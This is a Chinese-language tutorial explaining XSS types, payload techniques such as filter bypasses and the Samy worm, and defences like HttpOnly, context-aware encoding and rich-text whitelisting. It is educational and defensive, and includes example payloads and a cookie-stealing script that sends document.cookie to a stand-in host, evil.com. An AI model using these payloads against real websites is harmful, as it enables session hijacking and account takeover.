XSS簡介
XSS(Cross Site Script)攻擊,通常指黑客通過"HTML注入"篡改了網(wǎng)頁,插入了惡意的腳本,從而在用戶瀏覽網(wǎng)頁時,控制用戶瀏覽器的一種攻擊。
一開始,這種攻擊的演示案例是跨域的,所以叫做"跨站腳本"?,F(xiàn)在是否跨域已經(jīng)不再重要,但是名字一直沿用下來。
XSS長期以來被列為客戶端Web安全中的頭號大敵。因?yàn)閄SS破壞力強(qiáng)大,且產(chǎn)生的場景復(fù)雜,難以一次性解決。
下面舉個XSS的例子
假如用戶把頁面輸入的參數(shù)直接輸出到頁面上:
<?php
$input = $_GET["param"];
echo "<div>".$input."</div>";
?>
如果用戶提交了一段HTML代碼
http://www.test.com/test.php?param=<script>alert(/xss/)</script>
alert(/xss/)就會在頁面中執(zhí)行,彈出框顯示/xss/。
這個例子就是XSS的一種:反射型XSS。
根據(jù)效果的不同,XSS可以分為三類
1.反射型XSS
反射型XSS只是簡單地把用戶輸入的數(shù)據(jù)”反射“給瀏覽器。也就是說黑客往往需要誘使用戶”點(diǎn)擊“一個惡意鏈接,才能攻擊成功。反射型XSS也叫”非持久型XSS”。
2.存儲型XSS
存儲型XSS會把用戶輸入的數(shù)據(jù)“存儲”在服務(wù)器端。這種XSS具有很強(qiáng)的穩(wěn)定性。
比較常見的,黑客寫下一篇包含惡意JavaScript代碼的博客文章,文章發(fā)表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執(zhí)行這段惡意的JavaScript代碼。黑客把惡意腳本保存在了服務(wù)端,這種XSS攻擊就叫做“存儲型XSS”。存儲型XSS也叫做“持久型XSS”。
3.DOM Based XSS
DOM Based XSS從效果上來說也是反射型XSS,單獨(dú)劃分出來是因?yàn)樗男纬稍虮容^特殊,發(fā)現(xiàn)它的安全專家提出了這種類型的XSS。出于歷史原因把它單獨(dú)作為一個分類了。
通過修改頁面的DOM節(jié)點(diǎn)形成的XSS,稱之為DOM Based XSS。
下面舉個例子
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Document</title>
</head>
<body><script> function test() {var str = document.getElementById('text').value;document.getElementById('t').innerHTML = "<a href='" + str + "' >testLink</a>";} </script><div id="t"></div><input type="text" id="text" value="" /><input type="button" id="s" value="write" onclick="test()" />
</body>
</html>
輸入框構(gòu)造如下數(shù)據(jù):
' onclick=alert(/xss/) //
它先用一個單引號閉合掉href的第一個單引號,然后插入一個onclick事件,最后再用注釋符“//”注釋掉第二個引號。 輸入后,頁面代碼變成了:
<a href="" onclick="alert(/xss/)" '>testLink</a>
點(diǎn)擊新生成的這個鏈接,腳本將被執(zhí)行。
其實(shí)這里還有另外一種利用方式,還可以選擇閉合掉<a>
標(biāo)簽,并插入一個新的HTML標(biāo)簽。嘗試如下輸入:
'><img src=# onerror=alert(/xss2/) /><'
頁面代碼變成了
<a href=""><img src="#" onerror="alert(/xss2/)"><''>testLink
</a>
腳本直接被執(zhí)行,彈出/xss2/。
XSS攻擊進(jìn)階
初識XSS Payload
XSS攻擊成功后,攻擊者能夠?qū)τ脩舢?dāng)前瀏覽的頁面植入惡意腳本,通過惡意腳本,控制用戶的瀏覽器。這些用以完成各種具體功能的惡意腳本,被稱為"XSS Payload"。
XSS Payload實(shí)際上就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何JavaScript腳本能實(shí)現(xiàn)的功能,XSS Payload都能做到。
一個最常見的XSS Payload,就是通過讀取瀏覽器對象,從而發(fā)起“Cookie劫持”攻擊。
Cookie中一般加密保存了當(dāng)前用戶的登錄憑證。Cookie如果丟失,往往意味著用戶的登錄憑證丟失。也就是,你可以在不知道密碼的情況下直接登錄用戶賬戶。
下面舉個例子,攻擊者先加載一個遠(yuǎn)程腳本:
http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></script>
真正的XSS Payload寫在這個腳本中,避免直接在URL參數(shù)中寫入大量的JavaScript代碼。
evil.js代碼如下,它將document.cookie對象發(fā)送到了遠(yuǎn)端服務(wù)器
var img = document.createElement('img');
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
Cookie的"HttpOnly"標(biāo)識可以防止“Cookie劫持”,我們將在稍后具體介紹。
強(qiáng)大的XSS Payload
"Cookie劫持"并非所有的時候都會有效。有的網(wǎng)站可能會在Set-Cookie時給關(guān)鍵Cookie植入HttpOnly標(biāo)識;有的網(wǎng)站可能會把Cookie與客戶端IP綁定。盡管如此,攻擊者還是有很多方式能夠控制用戶的瀏覽器。
構(gòu)造GET和POST請求
假設(shè)有篇博客所在域的某頁面存在XSS漏洞,正常刪除文章的鏈接是:
http://blog.com/article?m=delete&id=123
那么攻擊者只需要知道文章的id,皆可以通過這個請求刪除這篇文章了。
var img = document.createElement('img');
img.src = 'http://blog.com/article?m=delete&id=123';
document.body.appendChild(img);
攻擊者只需要讓博客作者執(zhí)行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。
對于POST請求,可以這樣實(shí)現(xiàn)
第一個種方法
var f = document.createElement('form');
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement('input');
i1.name = 'name';
i1.value = 'value';
f.appendChild(i1);
f.submit();
如果參數(shù)很多,通過構(gòu)造DOM節(jié)點(diǎn)的方式,代碼將十分冗長??梢酝ㄟ^innerHTML直接寫html字符串的方式構(gòu)造。
第二種方法可以使用XMLHttpRequest直接發(fā)送一個POST請求。
XSS釣魚
前面介紹的,XSS的攻擊過程都是在瀏覽器中通過JavaScript腳本自動進(jìn)行的,也就是說,缺少“與用戶交互”的過程。
比如之前“通過POST表單發(fā)消息”的例子,如果要求用戶輸入驗(yàn)證碼,那么一般的XSS Payload都會失效。此外,在大多數(shù)“修改用戶密碼”的功能中,都會要求用戶輸入原密碼,而攻擊者往往是不知道的。
但這也不能限制住XSS。
對于驗(yàn)證碼,XSS Payload可以通過讀取頁面內(nèi)容,將驗(yàn)證碼的圖片URL發(fā)送到遠(yuǎn)端服務(wù)器——攻擊者可以在遠(yuǎn)程XSS后臺接收當(dāng)前驗(yàn)證碼,并將驗(yàn)證碼的值返回給當(dāng)前的XSS Payload。
修改密碼的問題稍微復(fù)雜點(diǎn),攻擊者可以將XSS與“釣魚”相結(jié)合。利用JavaScript實(shí)現(xiàn)一個偽造的登錄框,當(dāng)用戶輸入用戶名和密碼后,將密碼發(fā)送至黑客的服務(wù)上。
識別用戶瀏覽器
攻擊者為了獲取更大的利益,往往需要準(zhǔn)確地收集用戶的個人信息。比如知道用戶使用的瀏覽器、操作系統(tǒng),就有可能實(shí)施一次精準(zhǔn)的瀏覽器內(nèi)存攻擊,最后給用戶電腦植入一個木馬。
比如使用XSS讀取瀏覽器的UserAgent對象
alert(navigator.userAgent);
但是這個對象是可以偽造的,所以信息不一定準(zhǔn)確。
可以有另外一種技巧,來更準(zhǔn)確地識別用戶的瀏覽器版本
由于瀏覽器之間的實(shí)現(xiàn)存在差異,同一個瀏覽器不同版本之前可能也有細(xì)微的差別。通過判斷這些差異,就能準(zhǔn)確的識別出瀏覽器版本。
比如:
if (window.ActiveXObject) // MSIE 6.0 or below
識別用戶安裝的軟件
在IE中,可以通過判斷ActiveX控件的classid是否存在,來判斷用戶是否安裝了該軟件,選擇對應(yīng)的瀏覽器漏洞,最終達(dá)到植入木馬的目的。
一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。
瀏覽器的擴(kuò)展和插件也能被XSS Payload掃描出來。比如Firefox的插件(Plugin)列表存放在一個DOM對象中,通過查詢DOM可以遍歷所有的插件。
CSS History Hack
通過CSS可以獲取一個用戶曾經(jīng)訪問過的網(wǎng)站。其原理利用的是style的visited屬性。如果用戶曾經(jīng)訪問過某個鏈接,那么這個鏈接的顏色會變得與眾不同。
獲取用戶的真實(shí)IP地址
很多時候,用戶電腦使用了代理服務(wù)器,或者在局域網(wǎng)中隱藏在NAT后面。網(wǎng)站看到的客戶端IP地址,是內(nèi)網(wǎng)的出口IP地址,而并非用戶電腦真實(shí)的本地IP地址。如何才能知道用戶的本地IP地址呢?
JavaScript本身并沒有提供獲取本地IP地址的能力,XSS攻擊需要借助第三方軟件來完成。比如,客戶端安裝了Java環(huán)境(JRE),那么XSS就可以通過調(diào)用Java Applet的接口獲取客戶端的本地IP地址。
除了Java之外,一些ActiveX控件可能也會提供接口查詢本地IP地址。這些功能比較特殊,需要具體情況具體分析。
XSS攻擊平臺
有安全研究者將許多功能封裝起來,稱為XSS攻擊平臺。這些平臺主要是為了演示XSS的危害,以及方便滲透測試使用。
終極武器:XSS Worm
XSS也能形成蠕蟲
Samy Worm
在2005年有年僅19歲的Samy Kamkar對MySpace.com發(fā)起的,這是Web安全史上第一個重量級的XSS Worm。
首先,Myspace網(wǎng)站過濾掉了很多危險的標(biāo)簽,所有的事件如”onclick“等也被過濾了。但是它允許用戶控制標(biāo)簽的style屬性,通過style還是有辦法構(gòu)造出XSS的
<div style="background:url('javascript:alert(1)')">
其次,Myspace同時還過濾了‘javasript’、‘onreadystatechange’等敏感詞,所以Samy用了”拆分法“繞過這些限制。
最后,Samy通過AJAX構(gòu)造的POST請求,完成了在用戶的heros列表里添加自己名字的功能:同時復(fù)制蠕蟲自身進(jìn)行傳播。
XSS Worm是XSS的一種終極利用方式,它的破壞力和影響力是巨大的。但是發(fā)起它是有一定條件的。
一般來說,用戶之間發(fā)生交互行為的頁面,如果存在存儲型XSS,則比較容易發(fā)起XSS Worm攻擊。
比如,發(fā)送站內(nèi)信、用戶留言等頁面,都是XSS Worm的高發(fā)區(qū)。
XSS構(gòu)造技巧
利用字符編碼
”百度搜藏”曾經(jīng)在一個<script>
標(biāo)簽中輸出了一個變量
var redirectUrl = "\";alert(/xss/);";
變量處于雙引號內(nèi),系統(tǒng)轉(zhuǎn)義了雙引號導(dǎo)致變量無法“escape”。
但是,返回頁面是GBK/GB2312編碼的,因此”%c1\“這兩個字符組合在一起后,會成為一個Unicode字符。所以構(gòu)造:
%c1";alert(/xss/);//
并提交,得到如下效果
var readirectUrl = "亂碼";alert(2);//";
繞過長度限制
<input type=text value="$var" />
如果服務(wù)器對$var做個嚴(yán)格的長度限制,假如長度限制為20個字節(jié)
攻擊者這樣構(gòu)造:
$var 為: "><script>alert(/xss/)</script>
超過了長度。
這樣構(gòu)造
$var 為: "onclick=alert(1)//
不會超過長度限制
最好的辦法是將XSS Payload寫到別處,再通過簡短的代碼加載它。
最常用的一個”藏代碼“的地方,就是"localtion.hash",它的內(nèi)容不會在HTTP包中發(fā)送,所以服務(wù)器端的Web日志中并不會記錄下location.hash里的內(nèi)容。
$var 修改為: " onclick="eval(location.hash.substr(1))
當(dāng)然,還可以使用遠(yuǎn)程加載js的方法,以避免瀏覽器地址欄長度的限制。
使用標(biāo)簽
<base>
標(biāo)簽并不常用,它定義頁面上所有使用"相對路徑"標(biāo)簽的hosting地址。它可以出現(xiàn)在頁面的任何地方,并作用于位于該標(biāo)簽之后的所有標(biāo)簽。
攻擊可以在頁面中插入<base>
標(biāo)簽,通過在遠(yuǎn)程服務(wù)器偽造圖片、鏈接或腳本,劫持當(dāng)前頁面中所使用“相對路徑”的標(biāo)簽
所以在設(shè)計XSS安全方案時,一定要過濾掉這個危險的標(biāo)簽。
window.name
window對象是瀏覽器的窗體,很多時候window對象不受同源策略限制,可以實(shí)現(xiàn)跨域、跨頁面?zhèn)鬟f數(shù)據(jù)。
使用window.name可以縮短XSS Payload的長度
<script> window.name = "alert(document.cookie)";location. </script>
在同一個窗口打開XSS的站點(diǎn)后,只需要通過XSS執(zhí)行代碼
eval(window.name);
Apache Expect Header XSS
向服務(wù)器提交
Expect: <script>alert('xss');</script>
當(dāng)服務(wù)器出錯返回時,Expect頭的內(nèi)容未經(jīng)任何處理便會寫入頁面。對于XSS攻擊來說,JavaScript工作在渲染后的瀏覽器環(huán)境中,無法控制用戶瀏覽器發(fā)出的HTTP頭。該漏洞當(dāng)初被認(rèn)為是一個雞肋。
但是,使用Flash,可以自定義大多數(shù)請求的HTTP頭。因此,F(xiàn)lash在新版本中禁止用戶發(fā)送Expect頭。但后來發(fā)現(xiàn)可以通過注入HTTP頭的方式繞過這個限制,F(xiàn)lash目前已經(jīng)修補(bǔ)了該問題。
此類攻擊,還可以通過Java Applet等構(gòu)造HTTP請求的第三方插件來實(shí)現(xiàn)。
Anehta的回旋鏢
反射型XSS也可能像存儲型XSS一樣利用。
回旋鏢的思路是:如果在B域上存在一個反射型“XSS_B”,在A域上存在一個存儲型“XSS_A”,當(dāng)用戶訪問A域上的“XSS_A”時,同時嵌入B域上的“XSS_B“,則可以達(dá)到在A域的XSS攻擊B域用戶的目的。
我們知道,在IE中,<iframe>
、<img>
、<link>
等標(biāo)簽都會攔截”第三方Cookie“的發(fā)送。在Firefox則無這種限制(第三方Cookie指得是保存在本地的Cookie,也就是服務(wù)器設(shè)置了expire時間的Cookie)。
所以對于Firefox,只需要在XSS_A處嵌入一個iframe即可
<iframe src="http://www.b.com/?xss..."></iframe>
對于IE,為了達(dá)到執(zhí)行XSS_B的目的,可以使用一個<form>
標(biāo)簽,在瀏覽器提交form表單時,不會攔截第三方Cookie的發(fā)送。因此,先在XSS_A上寫一個<form>
,自動提交到XSS_B,然后在XSS_B中再跳轉(zhuǎn)回原來的XSS_A,完成了一個”回旋鏢“。這種攻擊的缺點(diǎn)是,用戶會看到地址欄的變化。
Flash XSS
在Flash中是可以嵌入ActionScript腳本的,
getURL("javascript:alert(document.cookie)");
使用<embed>
將Flash嵌入頁面中。
在實(shí)現(xiàn)XSS Filter時,一般會禁用<embed>
、<object>
等標(biāo)簽。后者甚至可以加載ActiveX控件。
如果網(wǎng)站一定要使用Flash,如果僅僅是視頻文件,則要求其轉(zhuǎn)碼為”flv文件“。flv是靜態(tài)文件,不會產(chǎn)出安全隱患。如果是帶動態(tài)腳本的Flash,可以通過Flash的配置參數(shù)限制。
限制Flash動態(tài)腳本的最重要的參數(shù)是”allowScriptAccess“,這個參數(shù)定義了Flash能否與HTML頁面進(jìn)行通信。它有三個可選值:
1.always 不做任何限制
2.sameDomain 只允許來自于本域的Flash與Html通信,默認(rèn)值
3.nerver 禁止
allowNetworking 也非常關(guān)鍵,它能控制Flash與外部網(wǎng)絡(luò)進(jìn)行通信
1.all 允許所有網(wǎng)絡(luò) 默認(rèn)值
2.internal 不能與瀏覽器通信如navigateToURL,但可以調(diào)用其他的API
3.none 禁止
除了用戶上傳的Flash文件能夠?qū)嵤┠_本攻擊外,一些Flash也可能會產(chǎn)生XSS漏洞。
on (release) {getURL(_root.clickTAG, "_blank");
}
這段代碼缺乏輸入驗(yàn)證,會被XSS攻擊。
XSS的防御
HttpOnly
瀏覽器禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。它解決的是XSS后的Cookie劫持攻擊。
HttpOnly是在服務(wù)器返回的響應(yīng)頭Set-Cookie上標(biāo)記的:
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
輸入檢查
XSS要求攻擊者構(gòu)造一些特殊字符,這些特殊字符可能是正常用戶不會用到的,所以輸入檢查就有存在的必要了。
輸入檢查的邏輯,必須放在服務(wù)端代碼中實(shí)現(xiàn)。如果只是在客戶端使用JavaScript進(jìn)行輸入檢查,很容易被攻擊者繞過。目前的普遍做法是,同時在客戶端和服務(wù)端實(shí)現(xiàn)相同的輸入檢查??蛻舳藱z查可以阻擋大部分誤操作的用戶,從而節(jié)省服務(wù)器資源。
XSS輸入檢查一般會檢查用戶輸入的數(shù)據(jù)中是否包含一些特殊字符,如<、>、’、“等,將這些字符過濾或者編碼。
比較智能的輸入檢查,可能會匹配XSS的特征。比如查找用戶數(shù)據(jù)中是否包含了<script>
、javascript等敏感字符。
這種輸入檢查的方式,稱為XSS Filter。
XSS Filter只獲取了用戶提交的數(shù)據(jù)進(jìn)行檢查,但是并沒有結(jié)合渲染頁面的HTML代碼,因此對語境的理解并不完整。
例如:
<script src="$var"></script>
用戶只需要提交一個惡意腳本所在的URL地址,即可實(shí)施XSS攻擊。而大多數(shù)情況下,URL是合法的用戶數(shù)據(jù)。
XSS Filter還有一個問題,對<、>的處理可能會改變用戶語義。
比如
1+1<3
如果XSS Filter不夠智能,粗暴地過濾或者替換<,則會改變用戶原來的意思。
輸出檢查
既然輸入檢查存在這么多問題,那輸出檢查又如何呢?
一般來說,除了富文本輸出外,在變量輸出到HTML頁面時,可以使用編碼或轉(zhuǎn)義的方式來防御XSS攻擊。
安全的編碼函數(shù)
編碼分為很多種,針對HTML代碼的編碼方式是HtmlEncode。 HtmlEncode并非專有名詞,它只是一種函數(shù)實(shí)現(xiàn)。它的作用是將字符轉(zhuǎn)換成HTMLEntities,對應(yīng)的標(biāo)準(zhǔn)是ISO-8859-1
為了對抗XSS,在HTMLEncode中要求至少轉(zhuǎn)換以下字符:
& -> &
< -> <
> -> >
" -> "
' -> '
/ -> /
Javascript的編碼方式可以使用JavaScriptEncode
它使用""對特殊字符進(jìn)行轉(zhuǎn)義。在對抗XSS時還要求輸出的變量必須在引號內(nèi)部,以避免造成安全問題。
比較兩種寫法
var x = escapeJavaScript($evil);
var y = '"'+escapeJavaScript($evil)+'"';
如果只是轉(zhuǎn)義了幾個危險字符,如’、”、<、>、\、&、#等,那么可能會輸出
var x = 1;alert(2);
var y = "1;alert(2);";
攻擊者即使想要逃脫出引號的范圍,也會遇到困難。
var y = "\";alert(1);\/\/";
但是開發(fā)者沒有這個習(xí)慣怎么辦?
那就只能使用一個更加嚴(yán)格的JavaScriptEncode函數(shù)來保證安全了——除了數(shù)字、字母外的所有字符,都使用十六進(jìn)制“\xHH”的方式進(jìn)行編碼
var x = 1;alert(2);
變成了
var x = 1\x3balert\x282\x29;
此外還有其他編碼函數(shù),如XMLEncode、JSONEncode等
只需要一種編碼嗎
XSS主要發(fā)生在MVC架構(gòu)中的View層。大部分的XSS漏洞可以在模板系統(tǒng)中解決。
如Python的開發(fā)框架Django自帶的模板系統(tǒng)"Django Templates",可以使用escape進(jìn)行HtmlEncode,并且在Django1.0中得到了加強(qiáng)——默認(rèn)所有的變量都會被escape。
但這樣還是不能完全避免XSS問題,需要“在正確的地方使用正確的編碼方式”
例如
<body><a href=# onclick="alert('$var');" >test</a>
</body>
如果用戶輸入
$var = htmlencode("');alert('2");
對于瀏覽去器來說,htmlparser會優(yōu)先于JavaScript Parser執(zhí)行
經(jīng)過解析后,結(jié)果為
<body><a href=# onclick="alert('');alert('2');" >test</a>
</body>
xss被注入。
xss發(fā)出的原因是,沒有分清楚輸出變量的語境,并非在模板引擎中使用了auto-escape就萬事大吉了。
正確防御XSS
XSS的本質(zhì)是一種“HTML注入”,想要根治XSS問題,可以列出所有XSS可能發(fā)生的場景,再一一解決。
在HTML標(biāo)簽中輸出
<div>$var</div>
<a href=# >$var</a>
防御的方法是對變量使用HtmlEncode
在HTML屬性中輸出
<div id="abc" name="$var" ></div>
防御的方法是對變量也是使用HtmlEncode
在script標(biāo)簽中輸出
首先應(yīng)該確保輸出的變量在引號中:
<script> var x = "$var"; </script>
防御時使用JavaScriptEncode
在事件中輸出
<a href=# onclick="funcA('$var')" >test</a>
防御方式和在script標(biāo)簽中輸出類似
在CSS中輸出
比如@import、url等直接加載XSS、expression(alert(‘xss’))等
一方面需盡可能避免用戶可控制的變量在css中輸出,如果必須有這樣的需求,那么使用encodeForCSS
在地址欄輸出
一般來說使用URLEncode即可,但是如果整個URL被用戶完全控制,Protocal和Host是不能使用URLEncode的,否則會改變URL的語義。
[Protocal][Host][Path][Search][Hash]
例如www.evil.com/a/b/c/test?…
對于如下的輸出方式:
<a href="$var" >test</a>
攻擊者可能會構(gòu)造偽協(xié)議實(shí)施攻擊
<a href="javascript:alert(1);" >test</a>
此外,“vbscript”、“dataURI”等偽協(xié)議也可以導(dǎo)致腳本執(zhí)行。
一般來說,對于用戶控制整個URL,應(yīng)該先檢查是否以“http”開頭,如果不是則自動添加,以保證不會出現(xiàn)偽協(xié)議類的XSS攻擊,然后再對變量進(jìn)行URLEncode。
處理富文本
網(wǎng)站允許用戶提交一些自定義的HTML代碼,稱之為富文本。
在處理富文本時,還是要回到“輸入檢查”的思路上來?!拜斎霗z查”的主要問題是檢查時還不知道變量的輸出語境。但富文本數(shù)據(jù),其語義是完整的HTML,在輸出時也不會拼湊到某個標(biāo)簽的屬性中。因此,可以特殊對待。
通過htmlparser可以解析出HTML代碼的標(biāo)簽、標(biāo)簽屬性和事件。
在過濾富文本時,事件應(yīng)該被嚴(yán)格禁止、而一些危險的標(biāo)簽,比如iframe、script、base、form等也是應(yīng)該嚴(yán)格禁止的。在標(biāo)簽選擇上,應(yīng)該使用白名單。比如,只允許a、img、div等比較安全的標(biāo)簽?!鞍酌麊巍蓖瑯討?yīng)該用于屬性和事件的選擇。
在富文本過濾中,處理CSS也是一件麻煩的事,因此應(yīng)該禁止用戶自定義CSS和style。如果不能禁止,那就需要一個CSS Parser對樣式進(jìn)行智能分析,檢查其中是否包含危險代碼。
防御DOM Based XSS
DOM Based XSS前文提到的幾種防御方法都不太適用。
DOM Based XSS是從JavaScript中輸出數(shù)據(jù)到HTML頁面里,而前文都是針對從服務(wù)器應(yīng)用直接輸出到HTML頁面的XSS漏洞。
服務(wù)器執(zhí)行了javascriptEscape,輸出的數(shù)據(jù)又重新渲染到了頁面中,對變量進(jìn)行了解碼,仍然會產(chǎn)生XSS。
正確的防御方法是,在$var輸出到script時,執(zhí)行一次javaScriptEncode,其次在輸出到HTML頁面時,如果輸出到事件或者腳本,則要再做一次javaScriptEncode;如果輸出到HTML內(nèi)容或者屬性,則再做一次HtmlEncode。
觸發(fā)DOM Based XSS的地方有很多,以下幾個地方是JavaScript輸出到HTML頁面的必經(jīng)之路。
document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
…
需要重點(diǎn)關(guān)注這幾個地方的參數(shù)是否可以被用戶控制
除了服務(wù)器端直接輸出變量到JavaScript外,還有以下幾個地方可能成為DOM Based XSS的輸出點(diǎn),也需要重點(diǎn)關(guān)注。
inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的數(shù)據(jù)
…
換個角度看XSS的風(fēng)險
前面都是從漏洞的形成原理上看的,如果從業(yè)務(wù)風(fēng)險角度看則有不同的觀點(diǎn)
一般來說,存儲型XSSS的風(fēng)險高于反射型。因?yàn)樗4嬖诜?wù)器上,有可能會跨頁面存在。它不會改變頁面URL的原有結(jié)構(gòu),因此有時候還能逃過一些IDS的檢測。
從攻擊過程來說,反射型XSS,一般要求攻擊者誘使用戶點(diǎn)擊一個包含XSS代碼的URL鏈接;而存儲型XSS,則只需要讓用戶查看一個正常的URL鏈接。
從風(fēng)險角度看,用戶之間有互動的頁面,是可能發(fā)起XSS Worm攻擊的地方。而根據(jù)不同頁面的PageView高低,也可以分析出哪些頁面受XSS攻擊后的影響更大。文章來源:http://www.zghlxwxcb.cn/news/detail-460989.html
在修補(bǔ)漏洞時遇到的最大挑戰(zhàn)之一是漏洞數(shù)量太多,開發(fā)者不太來得及立刻修復(fù)所有漏洞。從業(yè)務(wù)風(fēng)險角度來重新定位每個XSS漏洞,就具有了重要意義。文章來源地址http://www.zghlxwxcb.cn/news/detail-460989.html
到了這里,關(guān)于跨站腳本攻擊(XSS)詳解的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!